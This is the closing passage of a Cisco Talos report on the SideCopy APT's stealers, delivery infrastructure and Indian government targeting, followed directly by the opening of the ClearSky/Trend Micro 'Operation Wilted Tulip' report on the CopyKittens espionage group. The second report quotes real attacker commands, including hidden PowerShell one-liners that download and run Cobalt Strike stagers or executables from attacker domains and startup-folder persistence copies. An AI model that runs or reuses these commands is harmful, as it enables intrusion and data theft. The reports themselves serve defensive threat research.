Figure 26: Xeytan keystroke recorder used in SideCopy ops.
Figure 27: Lavao keylogger collecting keystrokes and window titles.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Figure 28: Credential stealer functionality.
Figure 29: Look for kavach.db and open it.
Figure 30: The same decoy document from CetaRAT infection chains is downloaded and displayed by Nodachi.
Uploaded to Google Drive on March 25, 2021.
Nodachi is meant for reconnaissance and stealing different types of data from the victims endpoint: Credential stealing: The malware uses the goLazagne library to steal the login credentials from the infected endpoint, such as internet browsers, credential managers and some sysadmin tools (Figure 28).
Once the login credentials are obtained, it copies these files over to the attackers Google Drive.
Steal Kavach data: Kavach (hindi for Armor) is an authentication system used by the Govern- ment of Indias (GoI) NIC agency.
Kavach provides its users with an MFA application/client used for authentication of employees to access GoIs IT infrastructure, such as email.
The malware looks for the kavach.db database containing login credentials of us- ers in the directory: C:\Users\username\ AppData\Roaming\kavach.db If found, the file is copied to the attackers Google Drive (Figure 29).
File lister: The GoLang malware uses the goLazagne library to lists all files with specific extensions on the endpoint: .docx, .doc, .pptx, .xls and .xml.
The files found are logged into a file that is then exfiltrated again to the attackers via Google Drive APIs.
One variant of Nodachi also dis- played a decoy PDF downloaded from an attacker-owned Google Drive link.
This decoy document is the same as the one seen in one of the latest CetaRAT infec- tion chains (Figure 30).
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal TRACKING AND DELIVERY INFRASTRUCTURE SideCopys delivery infrastructure consists of either setting up fake websites or using compromised websites to deliver malicious artifacts to specific victims.
The delivery scripts verify that requests to receive artifacts/ payloads are from two specific geographies: India and Pakistan (Figure 31).
If this matches, then a payload or decoy is served to the requester.
All requests are logged to a log file on the delivery server to keep track of artifacts served to potential victims (Figure 32).
The data recorded in the log files consists of the following requester information: Source IP address.
Device type: tablet, mobile or computer.
Operating system name.
User-Agent string.
Architecture type: 32- or 64-bit.
Browser name.
Referrer value.
Timestamp of request.
City and country of origin.
Figure 31: Country check before serving a specific payload to the requester.
Figure 32: Victim logging capability of delivery servers.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal OBSERVATIONS AND ANALYSES TARGETING SideCopy uses themes predominantly designed to target military personnel in the Indian subcontinent.
Many of the LNK files and decoy documents used in their attacks pose as internal, operational documents of the Indian Army.
One infection posed as a seniority list of the Indian Army as recently as early 2021 (Figure 33).
Apart from military themes, SideCopy also utilized publications, calls for papers/proposals and job openings related to think tanks in India to target potential victims.
In one of the infections, the attackers used a malicious LNK file to deliver Allakore and CetaRAT to its victims.
This specific attack chain used a decoy document posing as an advertisement of a call for proposals for the Chair of Excellence 2021 for the Centre For Land and Warfare Studies (CLAWS) in India (Figure 34).
Interestingly, the same theme was seen in another recent attack conducted by the Transparent Tribe APT to deliver ObliqueRAT payloads to their victims.
In another instance, we observed the attackers using a decoy document consisting of an article published by the Centre for Joint Warfare Studies (CENJOWS) in India.
The article is a Geo Strategic Scan from August 2020 discussing the political and economic implications of resuming diplomatic talks between the U.S. and China (Figure 34).
Figure 33: Decoy document related to the Indian Army.
Figure 34: Decoy document masquerading as a legitimate CENJOWS article.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal More recently, an issue brief of the Observer Research Foundation (ORF, another independent think tank based out of India) was used as a decoy by SideCopy in an attack delivering njRAT to its victims (Figure 35).
Another attack from 2020 shows targeting of diplomatic personnel those working in embassies specifically.
The decoy document employed in this case consisted of a circular from the Indian Ministry of External Affairs (MEA) to its employees and attachees.
This infection chain also delivered Allakore and CetaRAT (Figure 36).
Besides all of these email campaigns weve outlined, SideCopy also uses honeytraps to lure victims in.
These infections typically consist of malicious LNK files that display explicit photos of women.
The infection chain again delivers CetaRAT and Allakore.
Weve also observed APT36 (Transparent Tribe) use these types of honeytraps extensively in campaigns targeting members of Indias military with CrimsonRAT.
Also like APT36, SideCopy clones legitimate websites that actually just serve malicious content.
In the case of SideCopy, we discovered afghannewsnetwork[.]
com, a website posing as the Pajhwok Afghan News, an Afghani independent news agency (Figure 37).
This website was used as a C2 for actionRAT, delivered using malicious LNKs that used decoy documents that looked like professional resumes - another targeting tactic closely resembling APT36 (Transparent Tribe).
Figure 36: Ministry of External Affairs Circular decoy document.
Figure 35: ORF decoy document used in njRAT infections.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CREDENTIAL HARVESTING One of SideCopys central motives is credential harvesting.
Specifically, the group looks to steal access credentials from central Indian government employees.
The group commonly targets Kavach, an MFA app used across Indias government.
Kavach allows employees (including military personnel) to access IT resources such as email services.
SideCopy has shown a particular interest in Kavach, deploying the njRAT malware with special victim IDs of kavach.
They also use GoLang-based file recon plugins (Nodachi) to exfiltrate Kavach authentication databases from infected devices.
Some droppers for MargulasRAT also masqueraded as installers for Kavach on Windows.
Weve also discovered phishing portals operated by SideCopy posing as the GoIs webmail to trick victims into divulging their email credentials (Figure 38).
Figure 37: (Left) malicious cloned website vs. (Right) Legitimate website for the Pajhwok Afghan News.
Figure 38: Phishing portal for webmail[.]gov[.
]in set up by SideCopy.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CONCLUSION What started as a simple infection vector by SideCopy to deliver a custom RAT (CetaRAT), has evolved into multiple variants of infection chains delivering several RATs.
The use of these many infection techniques  ranging from LNK files to self-extracting RAR EXEs and MSI-based installers  is an indication that the actor is aggressively working to infect their victims.
This threat actor is also rapidly evolving their malware set using a combination of custom and commodity RATs and plugins.
The variety of post-infection plugins specifically used by the attacker signifies a focus on espionage.
Targeting tactics used by SideCopy consists of multiple themes, quite similar to those utilized by APT36: military, diplomatic and honeytraps.
This indicates that the group continues to target government entities in the Indian subcontinent.
This boost in SideCopys operations aided by multiple infection chains, RATs and plugins marks the groups intent to rapidly evolve their TTPs.
COVERAGE Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Cisco Secure Network/Cloud Analytics (Stealthwatch/ Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
SIDs 57842 - 57849 can protect against the threats outlined in this paper.
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.
Product Protection Cisco Secure Endpoint (AMP for Endpoints) Cloudlock N/A Cisco Secure Email Cisco Secure Firewall/Secure IPS (Network Security) Cisco Secure Network Analytics (Stealthwatch) N/A Cisco Secure Cloud Analytics (Stealthwatch Cloud) N/A Cisco Secure Malware Analytics (Threat Grid) Umbrella Cisco Secure Web Appliance (Web Security Appliance)
Operation Wilted Tulip Exposing a cyber espionage apparatus ClearSky Cyber Security Trend Micro July 2017 Page 2 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Contents Introduction .......................................................................................................................................................... 3 Targetting ..................................................................................................................................................... 3 Malware ....................................................................................................................................................... 3 Targeting ............................................................................................................................................................... 4 Delivery and Infection .......................................................................................................................................... 5 Watering Hole Attacks ..................................................................................................................................... 5 Web-Based Exploitation ................................................................................................................................... 6 Malicious Documents ....................................................................................................................................... 7 Exploiting CVE-2017-0199 ............................................................................................................................ 7 Embedded OLE Objects..............................................................................................................................11 Malicious Macros .......................................................................................................................................15 Fake Social Media Entities ..............................................................................................................................16 Web Hacking ..................................................................................................................................................19 Infrastructure Analysis ........................................................................................................................................20 Domains .........................................................................................................................................................20 IPs ...................................................................................................................................................................24 Malware ..............................................................................................................................................................27 TDTESS Backdoor............................................................................................................................................27 Installation and removal ............................................................................................................................27 Functionality ..............................................................................................................................................29 Indicators of Compromise .........................................................................................................................30 Vminst for Lateral Movement ........................................................................................................................31 NetSrv  Cobalt Strike Loader ........................................................................................................................32 Matryoshka v1  RAT .....................................................................................................................................33 Matreyoshka v2  RAT ...................................................................................................................................33 ZPP  File Compressor ....................................................................................................................................35 Cobalt Strike ...................................................................................................................................................36 Metasploit ......................................................................................................................................................37 Empire Post-exploitation Framework ............................................................................................................38 Indicators of Compromise ..................................................................................................................................39 Page 3 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Introduction CopyKittens is a cyberespionage group that has been operating since at least 2013.
In November 2015, ClearSky and Minerva Labs published1 the first public report exposing its activity.
In March 2017, ClearSky published a second report2 exposing further incidents, some of which impacted the German Bundestag.
In this report, Trend Micro and ClearSky expose a vast espionage apparatus spanning the entire time the group has been active.
It includes recent incidents as well as older ones that have not been publicly reported new malware exploitation, delivery and command and control infrastructure and the groups modus operandi.
We dubbed this activity Operation Wilted Tulip Targetting CopyKittens is an active cyber espionage actor whose primary focus appears to be foreign espionage on strategic targets.
Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany.
Occasionally individuals in other countries are targeted as well as UN employees.
Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies.
Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks.
For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide.
In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy.
In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel.
Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious attachments.
Fake Facebook profiles have been used for spreading malicious links and building trust with targets.
Some of the profiles have been active for years.
Malware CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date, and are analyzed in this report: TDTESS backdoor Vminst, a lateral movement tool NetSrv, a Cobalt Strike loader and ZPP, a files compression console program.
The group also uses Matryoshka v1, a self- developed RAT analyzed by ClearSky in the 2015 report, and Matryoshka v2 which is a new version, albeit with similar functionality.
The group often uses the trial version of Cobalt Strike3, a publicly available commercial software for Adversary Simulations and Red Team Operations.
Other public tools used by the group are Metasploit, a well-known free and open source framework for developing and executing exploit code against a remote target machine Mimikatz, a post-exploitation tool that performs credential dumping and Empire, a PowerShell and Python post-exploitation agent.
For detection and exploitation of internet-facing web servers, CopyKittens use Havij, Acunetix and sqlmap.
A notable characteristic of CopyKittens is the use of DNS for command and control communication (CC) and for data exfiltration.
This feature is available both in Cobalt Strike and in Matryoshka.
Most of the infrastructure used by the group is in the U.S., Russia, and The Netherlands.
Some of it has been in use for more than two years.
1 www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ 2 www.clearskysec.com/copykitten-jpost/ 3  https://www.cobaltstrike.com http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/copykitten-jpost/ http://www.clearskysec.com/copykitten-jpost/ https://www.cobaltstrike.com/ Page 4 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Targeting Based on Trend Micro Telemetry, incident response engagements, and open source threat intelligence investigations, we have learned of CopyKittens target organizations and countries.
Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany.
Occasionally individuals in other countries are targeted as well as UN employees.
Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies.
Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks.
For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide.
In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy.
In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel.
Based on the size of the attack infrastructure and length of the campaign, we estimate that there have been at least a few hundred people infected in multiple organizations in the targeted countries.
After infecting a computer within a target organization, the attacker would move latterly using one of the malware descried in chapter Malware.
It seems that their objective is to gather as much information and data from target organizations as possible.
They would indiscriminately exfiltrate large amounts of documents, spreadsheets, file containing personal data, configuration files and databases.
In at least one case, the attackers breached an IT company, and used VPN access it had to client organizations to breach their networks.
Often, victim organizations would learn of the breach due to the non-stealthy behavior of the attackers.
The attackers would get greedy, infecting multiple computers within the network of breached organizations.
This would raise an alarm in various defense systems, making the victims initiate incident response operations.
Page 5 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Delivery and Infection CopyKittens attack their targets using the following methods: Watering hole attacks  inserting malicious JavaScript code into breached strategic websites.
Web based exploitation  emailing links to websites built by the attackers and containing known exploits.
Malicious documents  email attachments containing weaponized Microsoft Office documents.
Fake social media entities  fake personal and organizational Facebook pages are used for interaction with targets and for information gathering.
Web hacking  Havij, Acuntix and sqlmap are used to detect and exploit internet-facing web servers.
These methods are elaborated below.
Watering Hole Attacks On 30 March 2017, ClearSky reported a breach of multiple websites, such as Jerusalem Post, Maariv news and the IDF Disabled Veterans Organization website.4 JavaScript code was inserted into the breached websites, loading BeEF (Browser Exploitation Framework) from domains owned by the attackers .5 For example: Malicious code added to Maariv website The malicious code was loaded from one of the following addresses: https://js.jguery[.
]net/jquery.min.js https://js.jguery[.
]online/jgueryui.min.js This would enable the attackers to perform actions such as browser fingerprinting and information gathering, social engineering attacks (like asking for credentials, redirect to another page, asking the user to install a malicious extension or malware), network reconnaissance, infecting the computer using Metasploit exploits, and more.6 The malicious code was served only when specific targets visited the website, likely based on IP whitelisting.
Notably, prior to that publication, the German Federal Office for Information Security (BSI) said in a statement that it had investigated problems in network traffic of the German Bundestag.7 The statement concluded that the website of Israeli newspaper Jerusalem Post was manipulated and linked to a harmful third party in January 2017.
4 www.clearskysec.com/copykitten-jpost 5 http://beefproject.com 6 https://github.com/beefproject/beef/wiki 7 https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber- Angriff_auf_den_Bundestag_Stellungnahme_29032017.html http://www.clearskysec.com/copykitten-jpost/ http://www.clearskysec.com/copykitten-jpost/ http://beefproject.com/ http://beefproject.com/ https://github.com/beefproject/beef/wiki https://github.com/beefproject/beef/wiki https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html Page 6 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Web-Based Exploitation In two incidents, the attackers breached the mailbox of a person related to a target organization.
From this (real) account, they replied to previous correspondences with these organizations, adding a malicious link to a website registered and built by attackers: primeminister-goverment-techcenter].
[tech.
8 JavaScript code, at least parts of which were copied from public sources, fingerprinted the visitors web browser.9 This was likely used for later browser exploitation with known vulnerabilities.
In some pages the code enumerates and collects a list of installed browser plugins, in others it tries to detect the real IP of the computer: Browser Plugins enumeration via JavaScipt code Internal IP detection with Java The data is sent to the attackers, and the victim is redirected to https://akamitechnology[.]com/.
Collected data sent to server, then redirecting to new domain 8 https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack- infrastructure 9 https://gist.github.com/kou1okada/2356972 https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://gist.github.com/kou1okada/2356972 https://gist.github.com/kou1okada/2356972 Page 7 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 JavaScript and Java code loaded into webpage, victim is redirected after 20 seconds Malicious Documents The attackers use three document based exploitation types: exploiting CVE-2017-0199, embedding OLE objects, and macros.
If the victim opens a document and the exploitation is successful (in the latter two, user interaction might be required), the attackers would receive access to the computer via self-developed or publicly available malware (see Malware chapter for more details).
Exploiting CVE-2017-0199 On 26 April 2017, a malicious email was sent from an employee account that was likely breached within the Ministry of Northern Cyprus.
It was sent to a disclosed recipients list in government institutions in several countries and other organizations, mostly in or related to ministries of foreign affairs.
We should note, however, that it is possible that the attackers were interested only in a few of the recipient organizations, but sent it to a wider list because they showed up in previous correspondences in the breached account.
Recipients were in the following domains: mofa.gov.vn mfa.gov.sg mfa.gov.tr post.mfa.uz mfa.am mfa.gov.by beijing.mfa.gov.il mofat.go.kr mfa.no athens.mfa.gov.il riga.mfa.sk amfam.com emfa.pt mfa.gov.il mfa.gov.mk bu.edu us.mufg.jp cyburguide.com newdelhi.mfa.gov.il hemofarm.co.yu mfat.govt.nz mfa.gr mfa.gov.lv mfa.gov.ua mfa.go.th mfa.gov.bn mfa.ee sbcglobal.net mfa.is Page 8 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The email is presented below:10 Redacted version of the malicious email sent form the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus Attached to it was a document named IRAN_NORTH-KOREA_Russia 20170420.docx.11 Content of the malicious document The document exploited CVE-2017-0199, downloading an rtf file from: update.microsoft-office[.
]solutions/license.doc The rtf file loads a VBA script from: http://38.130.75[.
]20/check.html 10 https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ 11 https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis Page 9 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Which runs a Cobalt Strike stager that communicates with: aaa.stage.14043411.email.sharepoint-microsoft[.
]co In another case, the following document was uploaded to VirusTotal from Israel:12 The North Korean weapons program now testing USA range.docx Content of the malicious document and a prompt that opens when external links are updated It downloads an rtf document from: http://update.microsoft-office[.
]solutions/license.doc This downloads VBA code that runs a Cobalt Strike stager from the following addresses: http://38.130.75[.
]20/error.html Pivoting from update.microsoft-office[.
]solutions, we found diagnose.microsoft-office[.
]solutions, which pointed to 5.34.181.13.
Using PassiveTotal we found 40.dc.c0ad.ip4.dyn.gsvr-static[.
]co.
Googling for gsvr- static[.
]co, we found another sample, gpupdate.bat, which runs PowerShell code that extracts a Cobalt Strike stager.13: Base64 encoded PowerShell code that loads Cobalt Strike stager 12 https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis 13 https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8 https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId100 https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId100 Page 10 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The sample communicates with gsvr-static[.
]co via DNS.
DNS requests performed by the sample Yet in another case, malicious documents named omnews.doc and pictures.doc were served from the following locations: http://fetchnews-agency.news-bbc[.
]press/en/20170/pictures.doc http://fetchnews-agency.news-bbc[.
]press/omnews.doc The files load VBS from the following address: http://fetchnews-agency.news-bbc[.
]press/pictures.html Which runs a Cobalt Strike stager that communicates with: a104-93-82-25.mandalasanati[.
]info/iBpa From there, a Cobalt Strike beacon is loaded, communicating with: s1w-amazonaws.office-msupdate[.
]solutions Page 11 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Embedded OLE Objects In February 2017 a document titled ssl.docx was delivered to targets, likely via email.14 It asked the recipient to Please Update Your VPN Client from This Manual [sic].
Content of the malicious document asking the victim to update the VPN Client The VPN Client manual was an embedded OLE binary object, an executable with a reverse file extension: checkpointsslvpn?fdp.exe.
15 (The ?
stands for an invisible Unicode character that flips the direction of the string, making it look like a PDF file exe.pdf.
)16 It was composed of two files: a self-extracting executable and a PDF.
Bundled executable and PDF files They run via the following command: cmd.exe /c copy zWEC.tmp userprofile\desktop\Maariv_Tops.pdfcopy Ma_1.tmp userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sourcefire.pifcd userprofile\desktopMaariv_Tops.pdf The PDF file is a decoy displayed to the victim during infection.
It contains content copied on March 2017 from the public website of Maariv, a major Israeli news outlet.
14 https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d38 15dd/analysis 15 https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/ 16 Copykittens have used this this method before, for example in a document named mfaformann?fdp.exe https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/ https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/ Page 12 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Content of the malicious PDF file, copied from Maariv website The self-extracting executable contains another executable, named p.exe, which was digitally signed with a stolen certificate of a legitimate company called AI Squared.
Digital signature of p.exe Interestingly, this digital certificate was used by a threat group called Oilrig.17 This might indicate the two groups share resources or otherwise collaborate in their activity.
17 http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/oilrig/ Page 13 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The self-extracting executable serves as a downloader, running the following command: cmd.exe /c powershell.exe -nop -w hidden -c ((new-object net.webclient).downloadstring(http://jpsrv-java-jdkec2.javaupdate[.
]co:80/JPOST)) The CC server sends back a short PowerShell code that loads a Cobalt Strike stager into memory.
Base64 encoded PowerShell code that loads Cobalt Strike stager into memory Stager shellcode with marked user agent and CC server address Both the docx and the executable contained the name shiranz in their metadata or file paths: LastModifiedBy shiranz C:\Users\shiranz\Desktop\checkpointsslvpn?fdp.exe C:\Users\shiranz\AppData\Local\Temp\checkpointsslvpn?fdp.exe Page 14 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 In another sample, the decoy document was in Turkish, indicating the targets nationality.18 This document was likely stolen from the Turkish Ministry of Foreign Affairs: test_fdp.exe.19 Decoy document in Turkish While the decoy PDF document is opened, the following commands are executed: cmd.exe /c copy Ma_1.tmp userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CheckpointGO.pif copy sslvpn.tmp userprofile\desktop\sslvpnmanual.pdf cd userprofile\desktop sslvpnmanual.pdf cmd.exe /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://jpsrv-java-jdkec2.javaupdate[.
]co:80/Sourcefire)) 18 https://www.hybrid-analysis.com/sample/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37 19 https://www.virustotal.com/en/file/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37/analysis https://www.hybrid-analysis.com/sample/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37?environmentId100 https://www.hybrid-analysis.com/sample/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37?environmentId100 https://www.virustotal.com/en/file/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37/analysis/ https://www.virustotal.com/en/file/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37/analysis/ Page 15 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Malicious Macros In October 2016, the attackers uploaded to VirusTotal multiple files containing macros, likely to learn if they are detected by antivirus engines.
For example, Date.dotm contains this default Word template content:20 A default template of a Word document used as decoy The macro runs a Cobalt Strike stager that communicates with wk-in-f104.1c100.n.microsoft-security[.
]host .
The attackers also uploaded an executable files that would run a Word document with content in Hebrew.21 Hebrew decoy document The word document contains a macro that runs the following command: cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.
Net.
WebClient).DownloadFile(http://pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube.
online/winini.exe,TEMP\XU.exe)start TEMP\XU.exe exit In parallel, the executable drops d5tjo.exe, which is the legitimate Madshi debugging tool 2223 20 https://www.virustotal.com/en/file/7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb/analysis/ 21 https://www.virustotal.com/en/file/9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb/analysis 22 https://www.virustotal.com/en/file/7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31/analysis 23 http://help.madshi.net/madExcept.htm https://www.virustotal.com/en/file/7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb/analysis/ https://www.virustotal.com/en/file/7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb/analysis/ https://www.virustotal.com/en/file/9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb/analysis https://www.virustotal.com/en/file/9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb/analysis https://www.virustotal.com/en/file/7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31/analysis https://www.virustotal.com/en/file/7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31/analysis http://help.madshi.net/madExcept.htm http://help.madshi.net/madExcept.htm Page 16 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Fake Social Media Entities Back in 2013, CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news, an Israeli newspaper.
In the screenshot below you can see the fake profile linking to haarettz.co[.
]il (note the extra t in the domain).
Erick Brown24 Fake profile Erik Brown posting link to malicious website Amanda Morgan25 Fake profile Amanda Morgan posting link to malicious website The latter profile tagged a fake Israeli profile as her cousin, 26 Fake profile 24 https://www.facebook.com/israelhoughtonandplanetshakersphilippineconcert/posts/711649418845349 25 https://www.facebook.com/ynetnews/posts/548075141952763 26 https://www.facebook.com/profile.php?id100003169608706 https://www.facebook.com/israelhoughtonandplanetshakersphilippineconcert/posts/711649418845349 https://www.facebook.com/israelhoughtonandplanetshakersphilippineconcert/posts/711649418845349 https://www.facebook.com/ynetnews/posts/548075141952763?__fnshashAc072ehpwd43BNq1 https://www.facebook.com/ynetnews/posts/548075141952763?__fnshashAc072ehpwd43BNq1 https://www.facebook.com/profile.php?id100003169608706 https://www.facebook.com/profile.php?id100003169608706 Page 17 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Who in turn tagged another fake Israeli profile as her cousin 27 Fake profile While Erik Brown has not been publicly active since September 2015, and the two other Israeli profiles have not been publicly active since September 2013, Amanda Morgan is still active to date.
She has thousands of friends and 2,630 followers, many of which are Israeli.
In 2015 she sent her friends an invitation to Like a Facebook page: Emet press.
Amanda Morgan invites its friends to like Emet press Emet press (Emet means truth in Hebrew), is described as a non-biased news aggregator operated by Israeli students aboard.
However, the Hebrew text is clearly not written by someone who speaks Hebrew as a first language: Emet press Facebook page 27 https://www.facebook.com/jessicacohe https://www.facebook.com/jessicacohe https://www.facebook.com/jessicacohe Page 18 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The page re-posted news stories in Hebrew copied from online news outlets until August 2016.
28  An accompanying website with similar content was published in www.emetpress[.
]com.
Emet press website Neither the Facebook page nor website have been used to spread malicious or fake content publicly.
We estimate that they were used to build trust with targets, and potentially send malicious content in private messages, however we do not have evidence of such activity.
Looking at the website source code reveals that it was built with NovinWebGostar, a website building platform.
Emet press source code reveals that it was built with NovinWebGostar NovinWebGostar belongs to an Iranian web development company with the same name.
